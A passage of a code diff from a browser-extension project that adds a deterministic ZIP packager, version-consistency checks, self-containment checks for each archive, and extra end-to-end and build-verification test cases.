+            fail(
+                `${dir}/${entry.name} is a symlink. The build emits regular ` +
+                    `files only, so this is not something it produced and it ` +
+                    `will not be archived.`,
+            );
+        } else if (entry.isDirectory()) {
+            out.push(...listFiles(path.join(dir, entry.name), rel));
+        } else if (entry.isFile()) {
+            out.push(rel);
+        } else {
+            fail(
+                `${dir}/${entry.name} is neither a regular file nor a ` +
+                    `directory, so it is not something the build emitted`,
+            );
+        }
+    }
+    return out.sort();
+}
+
+// Collect every string anywhere in the manifest that looks like a file it
+// loads, plus every string that tries to reach outside the extension root.
+// The second half is the point: "../styles.css" never matches
+// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
+// read as "not a path" and the missing file would be found only by a user
+// whose popup rendered unstyled.
+function manifestReferences(value, found = new Set()) {
+    if (typeof value === "string") {
+        if (value.split("/").includes("..")) {
+            fail(
+                `the manifest references ${JSON.stringify(value)}, which ` +
+                    `points outside the extension root. Everything the ` +
+                    `browser loads has to be inside the archive; nothing ` +
+                    `above it is shipped.`,
+            );
+        }
+        if (MANIFEST_PATH_RE.test(value)) found.add(value);
+    } else if (Array.isArray(value)) {
+        for (const v of value) manifestReferences(v, found);
+    } else if (value && typeof value === "object") {
+        for (const v of Object.values(value)) manifestReferences(v, found);
+    }
+    return found;
+}
+
+// Local references out of one HTML member, resolved against that member's own
+// directory and returned archive-relative. Absolute URLs, data: URIs and
+// in-page anchors are not files and are skipped; a relative reference that
+// climbs out of the archive root is a failure for the same reason as above.
+function htmlReferences(member, text) {
+    const base = path.posix.dirname(member);
+    const out = new Set();
+    for (const match of text.matchAll(HTML_REF_RE)) {
+        const ref = match[1].trim();
+        if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
+        if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
+        if (ref.startsWith("/")) {
+            fail(
+                `${member} references ${JSON.stringify(ref)} from the ` +
+                    `extension root. Nothing here emits root-absolute ` +
+                    `references and this packager does not resolve them.`,
+            );
+        }
+        const resolved = path.posix.normalize(path.posix.join(base, ref));
+        if (resolved.startsWith("..")) {
+            fail(
+                `${member} references ${JSON.stringify(ref)}, which resolves ` +
+                    `outside the extension root. build.js copies the ` +
+                    `compiled stylesheet into each browser directory for ` +
+                    `exactly this reason: dist/styles.css lives at the dist/ ` +
+                    `root and is not part of either archive.`,
+            );
+        }
+        out.add(resolved);
+    }
+    return out;
+}
+
+// Everything the browser is told to load, and the assertion that all of it is
+// in the archive.
+function checkSelfContained(target, members, read) {
+    if (!members.includes("manifest.json")) {
+        fail(`dist/${target} has no manifest.json at its root`);
+    }
+
+    const manifest = JSON.parse(read("manifest.json").toString("utf8"));
+    const referenced = new Set(manifestReferences(manifest));
+
+    for (const member of members) {
+        if (!member.endsWith(".html")) continue;
+        for (const ref of htmlReferences(
+            member,
+            read(member).toString("utf8"),
+        )) {
+            referenced.add(ref);
+        }
+    }
+
+    const missing = [...referenced].filter((r) => !members.includes(r));
+    if (missing.length > 0) {
+        fail(
+            `the ${target} archive would not be self-contained: it is told ` +
+                `to load ${missing.join(", ")}, which ${
+                    missing.length === 1 ? "is" : "are"
+                } not in it`,
+        );
+    }
+    return { manifest, referenced };
+}
+
+function main() {
+    const version = resolveVersion(ROOT);
+
+    if (!fs.existsSync(DIST)) {
+        fail(
+            "there is no dist/ to package. script/package runs make build " +
+                "first; run it rather than this program.",
+        );
+    }
+
+    fs.rmSync(RELEASE, { recursive: true, force: true });
+    fs.mkdirSync(RELEASE, { recursive: true });
+
+    // Files the build emits at the dist/ root, outside both browser
+    // directories. Printed rather than ignored: dist/styles.css is the
+    // Tailwind output that build.js then copies into each browser directory,
+    // so leaving it out is correct — but "correct and stated" and "dropped by
+    // a glob" are different things, and only one of them survives the next
+    // change to the build.
+    const rootOnly = fs
+        .readdirSync(DIST, { withFileTypes: true })
+        .filter((e) => !e.isDirectory())
+        .map((e) => e.name)
+        .sort();
+    if (rootOnly.length > 0) {
+        console.log(
+            `Not shipped (dist/ root, outside every browser directory, and ` +
+                `referenced by nothing inside one): ${rootOnly.join(", ")}`,
+        );
+    }
+
+    const sums = [];
+    for (const { dir, ext } of TARGETS) {
+        const targetDir = path.join(DIST, dir);
+        if (!fs.existsSync(targetDir)) {
+            fail(`dist/${dir} does not exist; run make build`);
+        }
+
+        const members = listFiles(targetDir);
+        const readFromDir = (member) =>
+            fs.readFileSync(path.join(targetDir, member));
+
+        const { manifest } = checkSelfContained(dir, members, readFromDir);
+        if (manifest.version !== version) {
+            fail(
+                `dist/${dir}/manifest.json says version ${manifest.version} ` +
+                    `but this tree is ${version}. dist/ is stale: run make ` +
+                    `build.`,
+            );
+        }
+
+        const archive = writeZip(
+            members.map((name) => ({ name, data: readFromDir(name) })),
+        );
+        const name = `autistmask-${dir}-${version}.${ext}`;
+        const outPath = path.join(RELEASE, name);
+        fs.writeFileSync(outPath, archive);
+
+        // Read the artifact back off disk, not the buffer that was just
+        // written: what ships is the file.
+        const written = fs.readFileSync(outPath);
+        const entries = readZip(written);
+        const inArchive = entries.map((e) => e.name).sort();
+        if (inArchive.join("\n") !== members.join("\n")) {
+            fail(
+                `${name} does not hold the same members as dist/${dir}: ` +
+                    `archive has ${inArchive.length}, directory has ` +
+                    `${members.length}`,
+            );
+        }
+        for (const entry of entries) {
+            const onDisk = readFromDir(entry.name);
+            if (sha256(entry.data) !== sha256(onDisk)) {
+                fail(`${name} member ${entry.name} differs from dist/${dir}`);
+            }
+        }
+        // Re-run the self-containment check against the ARCHIVE's own
+        // contents. The directory passing it is not the claim being made.
+        const byName = new Map(entries.map((e) => [e.name, e.data]));
+        checkSelfContained(dir, inArchive, (m) => byName.get(m));
+
+        const digest = sha256(written);
+        sums.push(`${digest}  ${name}`);
+        console.log(
+            `${name}: ${entries.length} member(s), ${written.length} bytes, ` +
+                `sha256 ${digest}`,
+        );
+    }
+
+    fs.writeFileSync(
+        path.join(RELEASE, "SHA256SUMS"),
+        sums.map((l) => `${l}\n`).join(""),
+    );
+    console.log(`Wrote release/ for version ${version}`);
+}
+
+// Only when run as a program. The reference-resolving helpers are what decide
+// whether an archive is self-contained, so tests/packaging.test.js exercises
+// them directly and must be able to require this file without packaging
+// anything.
+if (require.main === module) {
+    try {
+        main();
+    } catch (err) {
+        console.error(`package: ${err && err.message ? err.message : err}`);
+        process.exit(1);
+    }
+}
+
+module.exports = { checkSelfContained, htmlReferences, manifestReferences };

script/lib/version.js

@@ -0,0 +1,74 @@
+// The version, and the rule that there is only one of it.
+//
+// Three files declare a version and none of them can be derived from another:
+// Chrome and Firefox each need their own manifest, both are copied to dist/
+// verbatim (tests/manifest.test.js asserts that what is in manifest/ is what
+// ships), and package.json's copy is what build.js compiles into the About
+// screen. So the single source of truth is enforced rather than generated —
+// they must all agree or there is no version and no build.
+//
+// Reading one of the three and ignoring the rest is what this replaces. That
+// shape cannot fail: it silently ships an extension whose About screen and
+// whose browser-reported version disagree, and whose release artifact is named
+// after whichever file the packager happened to read.
+//
+// Required by build.js, script/lib/package.js and tests/version.test.js, so
+// the build, the release artifacts and make check all apply the same rule to
+// the same files.
+
+"use strict";
+
+const fs = require("fs");
+const path = require("path");
+
+const VERSION_SOURCES = [
+    "package.json",
+    "manifest/chrome.json",
+    "manifest/firefox.json",
+];
+
+// Every declared version, in VERSION_SOURCES order, as { source, version }.
+// A file that declares nothing usable fails here rather than being skipped:
+// a missing version is not agreement.
+function declaredVersions(root) {
+    return VERSION_SOURCES.map((source) => {
+        const file = path.join(root, source);
+        let parsed;
+        try {
+            parsed = JSON.parse(fs.readFileSync(file, "utf8"));
+        } catch (e) {
+            throw new Error(
+                `${source} could not be read as JSON: ${e.message}`,
+            );
+        }
+        const version = parsed.version;
+        if (typeof version !== "string" || version.trim() === "") {
+            throw new Error(
+                `${source} declares no usable "version" (found ` +
+                    `${JSON.stringify(version)}). Every artifact is named and ` +
+                    `stamped with it, so there is nothing to build without it.`,
+            );
+        }
+        return { source, version };
+    });
+}
+
+// The one version all three declare, or a failure naming every disagreeing
+// file and what it said.
+function resolveVersion(root) {
+    const declared = declaredVersions(root);
+    const distinct = [...new Set(declared.map((d) => d.version))];
+    if (distinct.length !== 1) {
+        throw new Error(
+            "the declared versions disagree, so this tree has no version: " +
+                declared.map((d) => `${d.source}=${d.version}`).join(", ") +
+                ". Set all of them to the same value: the manifests are what " +
+                "the browser reports and package.json is what the About " +
+                "screen shows, and a build that picked one of them would " +
+                "ship the disagreement.",
+        );
+    }
+    return distinct[0];
+}
+
+module.exports = { VERSION_SOURCES, declaredVersions, resolveVersion };

script/lib/zip.js

@@ -0,0 +1,274 @@
+// A minimal, deterministic ZIP writer and reader.
+//
+// Used by script/lib/package.js to build the distributable archives: a Chrome
+// zip and a Firefox XPI are both ordinary zip files with manifest.json at the
+// root, so one implementation covers both.
+//
+// Why this rather than a package or the zip(1) binary. A dependency would have
+// to be hash-pinned like everything else in REPO_POLICIES.md, and this is
+// about a hundred lines of stdlib zlib for a format the archives use two
+// features of. The binary is worse: the release artifact would then depend on
+// whichever Info-ZIP the machine happens to have, which is the same objection
+// that keeps linting inside a container.
+//
+// Deterministic on purpose. Entries are sorted by name, every timestamp is the
+// same fixed 1980-01-01 the format's epoch starts at, and the compression
+// level is fixed, so building the same dist/ twice produces byte-identical
+// archives and the sha256 in SHA256SUMS is a property of the input rather than
+// of the clock. Two builds of the same commit that disagree are then visible
+// instead of expected.
+//
+// Deliberately NOT implemented: zip64, encryption, data descriptors,
+// directory entries (browsers infer directories from member paths), and
+// anything to do with symlinks. writeZip refuses input it cannot represent
+// rather than emitting an archive that is quietly wrong.
+
+"use strict";
+
+const zlib = require("zlib");
+
+const LOCAL_SIG = 0x04034b50;
+const CENTRAL_SIG = 0x02014b50;
+const EOCD_SIG = 0x06054b50;
+
+const METHOD_STORE = 0;
+const METHOD_DEFLATE = 8;
+
+// 1980-01-01 00:00:00, the earliest the MS-DOS timestamp fields can express.
+const DOS_DATE = (0 << 9) | (1 << 5) | 1;
+const DOS_TIME = 0;
+
+// Unix regular file, mode 0644, in the high 16 bits, which is where the "made
+// by unix" convention puts it.
+// >>> 0 because JS shifts are signed 32-bit and this one sets the top bit.
+const EXTERNAL_ATTRS = (0o100644 << 16) >>> 0;
+const VERSION_MADE_BY = (3 << 8) | 20; // unix, needs zip 2.0
+const VERSION_NEEDED = 20;
+
+// Without zip64 every size and offset is a u32.
+const MAX_U32 = 0xffffffff;
+
+const CRC_TABLE = (() => {
+    const table = new Int32Array(256);
+    for (let i = 0; i < 256; i++) {
+        let c = i;
+        for (let k = 0; k < 8; k++) {
+            c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
+        }
+        table[i] = c;
+    }
+    return table;
+})();
+
+// Written out rather than taken from zlib.crc32, which only exists from node
+// 22.2: this runs from script/ on whatever node the host has as well as inside
+// the pinned image, and a checksum that silently is not there is worse than
+// twelve lines.
+function crc32(buf) {
+    let c = -1;
+    for (let i = 0; i < buf.length; i++) {
+        c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
+    }
+    return (c ^ -1) >>> 0;
+}
+
+// Member names are stored as raw bytes. Anything outside ASCII would need the
+// UTF-8 flag and interoperability care that nothing this repo emits requires,
+// so it is refused instead of guessed at.
+function encodeName(name) {
+    if (typeof name !== "string" || name === "") {
+        throw new Error(`zip: unusable member name ${JSON.stringify(name)}`);
+    }
+    const segments = name.split("/");
+    if (
+        name.startsWith("/") ||
+        name.includes("\\") ||
+        segments.some((s) => s === "" || s === "." || s === "..")
+    ) {
+        throw new Error(
+            `zip: refusing member name ${JSON.stringify(name)}: archive ` +
+                `members must be relative paths under the archive root`,
+        );
+    }
+    if (/[^\x20-\x7e]/.test(name)) {
+        throw new Error(
+            `zip: refusing non-ASCII member name ${JSON.stringify(name)}`,
+        );
+    }
+    return Buffer.from(name, "ascii");
+}
+
+function compress(data) {
+    if (data.length === 0) {
+        return { method: METHOD_STORE, body: data };
+    }
+    const deflated = zlib.deflateRawSync(data, { level: 9 });
+    if (deflated.length >= data.length) {
+        return { method: METHOD_STORE, body: data };
+    }
+    return { method: METHOD_DEFLATE, body: deflated };
+}
+
+// entries: [{ name, data }]. Returns the archive as a Buffer.
+function writeZip(entries) {
+    if (!Array.isArray(entries) || entries.length === 0) {
+        throw new Error("zip: refusing to write an archive with no members");
+    }
+
+    const sorted = [...entries].sort((a, b) => (a.name < b.name ? -1 : 1));
+    const seen = new Set();
+    const locals = [];
+    const centrals = [];
+    let offset = 0;
+
+    for (const entry of sorted) {
+        const name = encodeName(entry.name);
+        if (seen.has(entry.name)) {
+            throw new Error(`zip: duplicate member ${entry.name}`);
+        }
+        seen.add(entry.name);
+
+        const data = Buffer.from(entry.data);
+        const { method, body } = compress(data);
+        if (data.length > MAX_U32 || body.length > MAX_U32) {
+            throw new Error(
+                `zip: ${entry.name} is too large for a non-zip64 archive`,
+            );
+        }
+        const crc = crc32(data);
+
+        const local = Buffer.alloc(30 + name.length);
+        local.writeUInt32LE(LOCAL_SIG, 0);
+        local.writeUInt16LE(VERSION_NEEDED, 4);
+        local.writeUInt16LE(0, 6);
+        local.writeUInt16LE(method, 8);
+        local.writeUInt16LE(DOS_TIME, 10);
+        local.writeUInt16LE(DOS_DATE, 12);
+        local.writeUInt32LE(crc, 14);
+        local.writeUInt32LE(body.length, 18);
+        local.writeUInt32LE(data.length, 22);
+        local.writeUInt16LE(name.length, 26);
+        local.writeUInt16LE(0, 28);
+        name.copy(local, 30);
+
+        const central = Buffer.alloc(46 + name.length);
+        central.writeUInt32LE(CENTRAL_SIG, 0);
+        central.writeUInt16LE(VERSION_MADE_BY, 4);
+        central.writeUInt16LE(VERSION_NEEDED, 6);
+        central.writeUInt16LE(0, 8);
+        central.writeUInt16LE(method, 10);
+        central.writeUInt16LE(DOS_TIME, 12);
+        central.writeUInt16LE(DOS_DATE, 14);
+        central.writeUInt32LE(crc, 16);
+        central.writeUInt32LE(body.length, 20);
+        central.writeUInt32LE(data.length, 24);
+        central.writeUInt16LE(name.length, 28);
+        central.writeUInt16LE(0, 30);
+        central.writeUInt16LE(0, 32);
+        central.writeUInt16LE(0, 34);
+        central.writeUInt16LE(0, 36);
+        central.writeUInt32LE(EXTERNAL_ATTRS, 38);
+        if (offset > MAX_U32) {
+            throw new Error("zip: archive too large for a non-zip64 archive");
+        }
+        central.writeUInt32LE(offset, 42);
+        name.copy(central, 46);
+
+        locals.push(local, body);
+        centrals.push(central);
+        offset += local.length + body.length;
+    }
+
+    const centralBuf = Buffer.concat(centrals);
+    const eocd = Buffer.alloc(22);
+    eocd.writeUInt32LE(EOCD_SIG, 0);
+    eocd.writeUInt16LE(0, 4);
+    eocd.writeUInt16LE(0, 6);
+    eocd.writeUInt16LE(sorted.length, 8);
+    eocd.writeUInt16LE(sorted.length, 10);
+    eocd.writeUInt32LE(centralBuf.length, 12);
+    eocd.writeUInt32LE(offset, 16);
+    eocd.writeUInt16LE(0, 20);
+
+    return Buffer.concat([...locals, centralBuf, eocd]);
+}
+
+// Read an archive back into [{ name, data }], from the central directory
+// rather than by scanning for local headers: the central directory is the
+// authoritative index, and a member reachable only by scanning is one a real
+// unzipper would not extract.
+//
+// Every member's CRC is checked. The point of reading an archive back is to
+// establish that it holds what it was meant to hold, so a member that does not
+// decompress to its recorded checksum is a failure and never a warning.
+function readZip(buf) {
+    if (buf.length < 22) {
+        throw new Error("zip: too short to be an archive");
+    }
+    // No archive this writes has a trailing comment, so the EOCD is the last
+    // 22 bytes. Anything else is not an archive this produced.
+    const eocdAt = buf.length - 22;
+    if (buf.readUInt32LE(eocdAt) !== EOCD_SIG) {
+        throw new Error(
+            "zip: no end-of-central-directory record at the end of the " +
+                "archive (a trailing comment, or not a zip at all)",
+        );
+    }
+    const count = buf.readUInt16LE(eocdAt + 10);
+    const centralSize = buf.readUInt32LE(eocdAt + 12);
+    let at = buf.readUInt32LE(eocdAt + 16);
+    if (at + centralSize > eocdAt) {
+        throw new Error("zip: central directory runs past the archive");
+    }
+
+    const out = [];
+    for (let i = 0; i < count; i++) {
+        if (buf.readUInt32LE(at) !== CENTRAL_SIG) {
+            throw new Error(`zip: bad central directory entry ${i}`);
+        }
+        const method = buf.readUInt16LE(at + 10);
+        const crc = buf.readUInt32LE(at + 16);
+        const compSize = buf.readUInt32LE(at + 20);
+        const rawSize = buf.readUInt32LE(at + 24);
+        const nameLen = buf.readUInt16LE(at + 28);
+        const extraLen = buf.readUInt16LE(at + 30);
+        const commentLen = buf.readUInt16LE(at + 32);
+        const localAt = buf.readUInt32LE(at + 42);
+        const name = buf.toString("ascii", at + 46, at + 46 + nameLen);
+        at += 46 + nameLen + extraLen + commentLen;
+
+        if (buf.readUInt32LE(localAt) !== LOCAL_SIG) {
+            throw new Error(`zip: ${name} has no local header`);
+        }
+        // The local header's own name and extra lengths, not the central
+        // directory's: the two are allowed to differ and the data starts after
+        // the local ones.
+        const localNameLen = buf.readUInt16LE(localAt + 26);
+        const localExtraLen = buf.readUInt16LE(localAt + 28);
+        const dataAt = localAt + 30 + localNameLen + localExtraLen;
+        const body = buf.subarray(dataAt, dataAt + compSize);
+
+        let data;
+        if (method === METHOD_STORE) {
+            data = Buffer.from(body);
+        } else if (method === METHOD_DEFLATE) {
+            data = zlib.inflateRawSync(body);
+        } else {
+            throw new Error(`zip: ${name} uses compression method ${method}`);
+        }
+
+        if (data.length !== rawSize) {
+            throw new Error(
+                `zip: ${name} decompressed to ${data.length} bytes, not the ` +
+                    `recorded ${rawSize}`,
+            );
+        }
+        if (crc32(data) !== crc) {
+            throw new Error(`zip: ${name} fails its recorded CRC32`);
+        }
+        out.push({ name, data });
+    }
+    return out;
+}
+
+module.exports = { crc32, readZip, writeZip };

script/package

@@ -0,0 +1,38 @@
+#!/bin/sh
+# script/package: produce the release artifacts — one self-contained,
+# versioned archive per browser — into release/. Our own extension to
+# scripts-to-rule-them-all.
+#
+# It builds first, through `make build` rather than by calling build.js
+# itself. That target is the only audited path to a release build: it creates
+# the build receipt outside the repo, scrubs AUTISTMASK_DEBUG from the
+# verifier's environment, tells script/verify-build in so many words to expect
+# a RELEASE build, and re-runs script/check-censored against dist/.
+# script/test-verify-build asserts that wiring by reading the recipe back out
+# of `make -n`. Re-implementing that sequence here would give the release
+# artifacts a second, unaudited path to dist/ — and it is the release
+# artifacts, above everything else, that must never be built from a debug
+# compile.
+#
+# This packages, it does not publish. Tagging, CRX packing and any upload are
+# outward-facing acts and are nobody's job but the owner's.
+set -eu
+
+ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
+
+main() {
+    cd "$ROOT"
+
+    if ! command -v make >/dev/null 2>&1; then
+        echo "package: make is required (the release build runs through" \
+            "make build)" >&2
+        exit 1
+    fi
+
+    make build
+
+    echo "Packaging release artifacts..."
+    node script/lib/package.js
+}
+
+main "$@"

script/test-e2e

@@ -78,6 +78,22 @@ main() {
         -e "E2E_TRACE_NETWORK=${E2E_TRACE_NETWORK:-0}" \
         "$(cat "$IIDFILE")" \
         node tests/e2e/run.js
+
+    # Where chrome.storage.local lives, and what moves it: two unpacked loads
+    # from two different paths in one profile, with the shipped manifest and
+    # again with `key` stripped out. Its own browser sessions — four of them —
+    # because the whole subject is what happens ACROSS loads, which the suite
+    # above cannot express with one.
+    #
+    # No PW_EXPERIMENTAL_SERVICE_WORKER_NETWORK_EVENTS here: this drives no
+    # RPC and installs no route handlers, and the browser is started with
+    # --host-resolver-rules=MAP * ~NOTFOUND so nothing it does can leave.
+    echo "Running the extension-id and storage-partition observations..."
+    docker run --rm \
+        --ipc=host \
+        -e HOME=/tmp \
+        "$(cat "$IIDFILE")" \
+        node tests/e2e/storagePartition.js
 }
 
 main "$@"

script/test-e2e-firefox

@@ -72,6 +72,19 @@ main() {
         -e HOME=/tmp \
         "$(cat "$IIDFILE")" \
         node tests/e2e/firefox/run.js dist/firefox
+
+    # The install/uninstall/re-install property, against the packaged XPI
+    # rather than the unpacked directory: it is the artifact a user would be
+    # handed, and this is the only place a real Firefox is asked to load it.
+    # Its own browser session, because it takes the add-on away in the middle
+    # and the suite above shares one session throughout.
+    echo "Running the Firefox re-install suite against the packaged XPI..."
+    docker run --rm \
+        --shm-size=1g \
+        --network none \
+        -e HOME=/tmp \
+        "$(cat "$IIDFILE")" \
+        node tests/e2e/firefox/reinstall.js
 }
 
 main "$@"

script/test-verify-build

@@ -1,13 +1,16 @@
 #!/bin/sh
 # script/test-verify-build: exercise every failure mode of
-# script/verify-build. Our own extension to scripts-to-rule-them-all, run
-# from script/check so make check covers it.
+# script/verify-build, and what make build does with dist/ after one of them
+# (script/discard-dist-on-failure). Our own extension to
+# scripts-to-rule-them-all, run from script/check so make check covers it.
 #
-# Why this exists: verify-build is the build-integrity guard, and three
-# separate reviews of it each found a fresh vacuous pass — the grep exit-2
-# conflation, the discarded find status, the line-delimited walk. Every one
-# was caught by someone building a tree by hand, because nothing in make check
-# could catch it. This is that hand battery, committed and automated.
+# Why this exists: verify-build is the build-integrity guard, and four separate
+# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
+# the discarded find status, the line-delimited walk, and then the two the
+# receipt replaced: an expectation read out of the verifier's own environment,
+# and a file list read back out of the tree it was supposed to vouch for. Every
+# one was caught by someone building a tree by hand, because nothing in make
+# check could catch it. This is that hand battery, committed and automated.
 #
 # Each case asserts the exit status AND a substring of the message. A guard
 # that fails for the wrong reason (right status, different fault) is itself a
@@ -17,15 +20,25 @@
 # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
 # operates on the fixture's dist/ and never reads or writes the repo's build
 # output. The symlink rather than a copy is what makes a deliberate break in
-# the real script fail here.
+# the real script fail here. The fixture's receipt is written from the bytes
+# the fixture actually holds, exactly as a build writes one from the bytes it
+# emitted; a case that means "the build emitted this" regenerates it, and a
+# case that means "something changed dist/ afterwards" does not.
+#
+# The sha256 command is selected here independently of the one verify-build
+# picks. That is deliberate: a harness that reused the implementation's helper
+# would agree with it even when it is wrong.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 VERIFY_BUILD="$ROOT/script/verify-build"
+DISCARD_DIST="$ROOT/script/discard-dist-on-failure"
 
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
 NEWLINE='
 '
 
@@ -41,6 +54,9 @@ UNPRIV=""
 PERM_ENABLED=no
 PERM_HOW=""
 
+# The sha256 command, chosen by pick_sha256_tool.
+SHA256_CMD=""
+
 WORK=""
 
 cleanup() {
@@ -54,6 +70,10 @@ trap cleanup EXIT INT TERM
 WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
 FIXTURE="$WORK/fixture"
 
+# The build receipt for the fixture, kept outside the fixture's dist/ — and
+# outside the fixture altogether — because that is where a real one lives.
+RECEIPT="$WORK/receipt"
+
 # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
 # our work dir keeps the run leaving no residue, and keeps it writable for the
 # unprivileged user the permission cases run as.
@@ -65,21 +85,74 @@ chmod 755 "$WORK"
 
 # --- fixture ---------------------------------------------------------------
 
+# The emitted tree a build of this repo produces in miniature: audited bundles
+# (A) that must carry a marker, and plain emitted files (P) that must not —
+# including the content script, which runs on every page, and the manifest,
+# neither of which the pre-receipt verifier read at all.
+FIXTURE_FILES="A dist/chrome/src/popup/index.js
+A dist/firefox/src/popup/index.js
+P dist/chrome/src/content/index.js
+P dist/chrome/manifest.json
+P dist/styles.css"
+
+FIXTURE_REAL=""
+
 # A stand-in for an emitted bundle: some text plus one marker literal, which
-# is all verify-build reads out of the real thing.
+# is all verify-build reads out of the real thing beyond its digest.
 write_bundle() {
     printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
 }
 
-# A dist/ shaped like a real build: two listed bundles under different
-# browsers, an unlisted subtree to make unwalkable, and unlisted files that
-# carry no marker and must not be objected to.
+# Digest of $1, taken with the harness's own sha256 command.
+fixture_sha256() {
+    # Word-split on purpose: SHA256_CMD is a command with its arguments.
+    # shellcheck disable=SC2086
+    _fs_out="$($SHA256_CMD "$1")"
+    printf '%s' "${_fs_out%% *}"
+}
+
+# Write the fixture's receipt, with a substitutable header and root line so the
+# cases can hand verify-build a receipt that is not one.
+write_receipt_custom() {
+    _wrc_header="$1"
+    _wrc_root="$2"
+
+    chmod u+rw "$RECEIPT" 2>/dev/null || true
+    rm -f "$RECEIPT"
+
+    (
+        cd "$FIXTURE"
+        printf '%s\n' "$_wrc_header"
+        printf 'root %s\n' "$_wrc_root"
+        _saved_ifs="$IFS"
+        IFS="$NEWLINE"
+        for _entry in $FIXTURE_FILES; do
+            IFS="$_saved_ifs"
+            _flag="${_entry%% *}"
+            _path="${_entry#* }"
+            printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
+                "$_flag" "$_path"
+            IFS="$NEWLINE"
+        done
+        IFS="$_saved_ifs"
+    ) >"$RECEIPT"
+
+    # Readable by the unprivileged user the permission cases run as, whatever
+    # umask this process has, until a case takes that away on purpose.
+    chmod 644 "$RECEIPT"
+}
+
+write_receipt() {
+    write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
+}
+
 build_fixture() {
     chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
     rm -rf "$FIXTURE"
 
     mkdir -p "$FIXTURE/script"
     ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
+    ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
 
     mkdir -p "$FIXTURE/dist/chrome/src/popup" \
         "$FIXTURE/dist/chrome/src/content" \
@@ -87,13 +160,12 @@ build_fixture() {
 
     write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
     write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
+    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
+    printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
     printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
-    printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
 
-    {
-        echo "dist/chrome/src/popup/index.js"
-        echo "dist/firefox/src/popup/index.js"
-    } >"$FIXTURE/dist/constants-bundles.txt"
+    FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
+    write_receipt
 
     # Readable and traversable by the unprivileged user the permission cases
     # run as, before those cases take that away again on purpose.
@@ -185,7 +257,51 @@ runuser|runuser -u nobody --"
 
 # --- case runner ------------------------------------------------------------
 
-# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
+# How verify-build is invoked for a case. The arguments are literal here rather
+# than assembled from a string, so nothing about a case's invocation depends on
+# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
+# verifier ignores it — that is the whole of the ambient-environment defect.
+run_verify() {
+    _rv_variant="$1"
+    _rv_perm="$2"
+    _rv_bin="$FIXTURE/script/verify-build"
+
+    case "$_rv_variant" in
+    release | release-envdebug)
+        set -- --expect release --receipt "$RECEIPT"
+        ;;
+    debug)
+        set -- --expect debug --receipt "$RECEIPT"
+        ;;
+    no-expect)
+        set -- --receipt "$RECEIPT"
+        ;;
+    no-receipt)
+        set -- --expect release
+        ;;
+    bad-expect)
+        set -- --expect maybe --receipt "$RECEIPT"
+        ;;
+    unknown-arg)
+        set -- --expect release --receipt "$RECEIPT" --force
+        ;;
+    receipt-in-dist)
+        set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
+        ;;
+    *)
+        echo "test-verify-build: unknown variant $_rv_variant" >&2
+        exit 1
+        ;;
+    esac
+
+    if [ "$_rv_perm" = yes ]; then
+        run_unpriv "$_rv_bin" "$@"
+    else
+        "$_rv_bin" "$@"
+    fi
+}
+
+# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
 #
 # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
 # requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +309,7 @@ runuser|runuser -u nobody --"
 check_case() {
     _name="$1"
     _perm="$2"
-    _mode="$3"
+    _variant="$3"
     _want_status="$4"
     _want_text="$5"
     _setup="$6"
@@ -213,23 +329,22 @@ check_case() {
         return 0
     fi
 
-    if [ "$_mode" = debug ]; then
-        _debug=1
-    else
-        _debug=""
-    fi
-
-    # Exported rather than set as a command prefix: run_unpriv is a function,
-    # and an assignment prefixed to a function call is not portable.
-    AUTISTMASK_DEBUG="$_debug"
-    export AUTISTMASK_DEBUG
+    # Exported rather than set as a command prefix: run_verify may go through
+    # run_unpriv, which is a function, and an assignment prefixed to a function
+    # call is not portable. Every other case unsets it, so the environment this
+    # harness happens to run in cannot decide anything.
+    case "$_variant" in
+    *envdebug)
+        AUTISTMASK_DEBUG=1
+        export AUTISTMASK_DEBUG
+        ;;
+    *)
+        unset AUTISTMASK_DEBUG || true
+        ;;
+    esac
 
     _status=0
-    if [ "$_perm" = yes ]; then
-        _out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    else
-        _out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    fi
+    _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
 
     _ok=yes
     _why=""
@@ -272,7 +387,9 @@ check_case() {
 
 # --- cases ------------------------------------------------------------------
 #
-# Each runs with the fixture as its working directory.
+# Each runs with the fixture as its working directory. A case that regenerates
+# the receipt is saying "this is what the build emitted"; one that does not is
+# saying "the build emitted something else and this happened afterwards".
 
 c_control() { :; }
 
@@ -299,38 +416,391 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
 
